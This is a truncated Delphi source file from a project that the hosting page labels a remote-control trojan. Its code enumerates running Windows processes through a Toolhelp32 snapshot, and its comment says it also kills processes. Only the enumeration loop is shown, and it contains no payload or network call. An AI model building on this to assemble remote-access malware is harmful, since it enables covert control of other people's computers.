unitprocesos.pas

来自「远程控制辕马」· PAS 代码 · 共 31 行

//Unit utilizada para listar y matar procesos

unit UnitProcesos;

interface

uses
Windows,
TLHelp32,
SysUtils;

var
ProcessHandle : THandle;

FUNCTION listarlosprocesos:STRING;

implementation

FUNCTION listarlosprocesos:STRING;
VAR
  CONTINUELOOP  :       BOOLEAN;
  HSNAPSHOT     :       THANDLE;
  LPPE          :       TPROCESSENTRY32;
  
BEGIN
  HSNAPSHOT := CREATETOOLHELP32SNAPSHOT(TH32CS_SNAPPROCESS OR TH32CS_SNAPMODULE, 0);
  LPPE.DWSIZE := SIZEOF(LPPE);
  CONTINUELOOP := PROCESS32FIRST(HSNAPSHOT, LPPE);
  WHILE (INTEGER(CONTINUELOOP) <> 0) DO
  BEGIN
   RESULT := RESULT + INTTOSTR(LPPE.TH32PROCESSID)+'